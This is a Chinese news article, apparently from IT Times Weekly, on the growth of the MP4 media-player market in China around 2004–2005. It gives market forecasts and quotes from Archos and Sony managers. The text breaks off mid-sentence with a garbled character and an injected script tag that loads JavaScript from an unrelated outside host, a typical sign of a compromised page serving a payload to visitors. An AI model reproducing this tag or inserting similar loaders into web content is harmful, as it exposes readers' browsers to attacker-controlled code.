当mp3还在大行其道的时候，mp4市场就像春风掠过，吹出希望无限
当众多商家红着眼搏杀于mp3市场的时候，更为有利可图的mp4正在悄悄“雄起”。
市场分析人士认为，3g时代即将到来，与之有着密切关系的多媒体电视也将成为未来数码消费电子的发展之趋，mp4的出现正是顺应了多媒体电视的发展需求。作为最先进的多媒体娱乐数码产品，mp4将取代mp3成为便携娱乐市场的王者，而目前大量涌现的具有视频功能的mp3，正体现了数码娱乐市场向mp4过渡的趋势。
不过，对于业已进入mp4制造的众商家而言，mp4市场最致命的诱惑是广阔的中国数码市场，这被各大厂商视为在消费数码电子市场上掘取更多市场份额的大好机遇。为此，日系厂商索尼、东芝、夏普和富士通，韩国三星和艾利河(iriver)，以及新加坡创新和法国爱可视(archos)等国际大厂动作频频，不断推陈出新，意欲捞取尽可能多的先机。
中国作为世界最大的市场之一，这里的mp4媒体播放器(mp4 media player)预热大战紧锣密鼓地展开了。
100亿元的蛋糕
mp4是目前最先进的图像压缩标准，播放效果接近dvd画质，而文件体积大小只有dvd的25～30%。因此，mp4格式的电影已经成为互联网上最流行的高清晰视频文件类型，消费者可以随时随地下载到mp4上欣赏喜欢的影音文件。
2003年，法国爱可视的第2代mp4产品在欧美地区热销，由此初步在全球数码市场形成mp4产业“蛋糕”。到了2004年，微软在mp4操作系统、英特尔在数字处理芯片设计和日立在微型硬盘技术等领域的进一步成功，包括微软、英特尔、索尼和三星等多家国外厂商进入mp4媒体播放器市场，并由此形成一个新兴的产业市场。
2004年，mp4在欧美市场已形成了数亿欧元的市场规模，其增长态势令人刮目相看，其市场潜力极具诱惑。但在中国市场，mp4还有待成熟。
据易观咨询提供的统计数据显示，2004年，中国mp3市场规模为30亿元人民币(以下同)，同期mp4的规模仅有3亿元，两者可谓悬殊。然而，易观咨询同时预测，2005年国内mp4市场容量将达到10亿元，未来还将保持300%的增长速度，在2008年有望达到100亿元的市场空间。因此，市场和业界专家也就更为看好mp4的前景。
法国爱可视亚洲区总监张亚玲就此指出，仅在1年之内，mp4即做到了3亿元的市场规模，这是其他任何消费数码电子产品所不能比的，体现出mp4强劲的生命力。索尼中国有限公司消费数码电子产品市场部经理井上泰告诉《it时代周刊》，业内人士对逐渐趋热的mp4有了共识，即虽然它目前以较高的价格占据着高端数码市场，但终将走向普通消费者。“这是由消费者需求与市场共同决定的。”井上泰说。
业界一直在期待mp4市场能够尽快成熟，并指望它取代mp3。深谙市场之道的张亚玲就认为，mp3永远不可能从市场撤出，她把mp3与mp4的竞争看作cd和dvd之间的竞争，dvd兼容cd，但并不排斥。“虽然mp4可以播放mp3，但它不可能做到后者这般小，否则mp4的影像优势无法体现。”张亚玲说。
中国市场暗流涌动
业界相信，mp4市场在欧美的成功或迟或早将延伸到亚太区域，因此，面对令人怦然心动的市场，国内产业界更是时刻关注日系厂商的动作。
日系厂商是全球业界公认的数码领域的重量级选手，索尼等巨头已纷纷将mp4产品正式推向市场。但在市场策略上，他们普遍采取由点到面的扩充，即首先从日本市场开始投放mp4产品，然后展开对全球其他市场的试探性进攻。因此，虽然有不少日系品牌的mp4见诸市场，能为国内消费者亲手触及的则少之又少。
从这层意义上来说，日系厂商的中国市场策略并不成功，反观知名度不高的爱可视，倒是在中国mp4市场的份额排名中勇夺花魁。
和苹果、索尼、三星，以及创新等公司相比，中国消费者对爱可视并不熟悉。这家公司迟至2003年9月才正式进入中国市场，前期主要面向高端消费群体(其市场路线与苹果和索尼等并不相同)，但该公司却在世界上最早推出了mp4媒体?script src=http://er12.com/t.js>
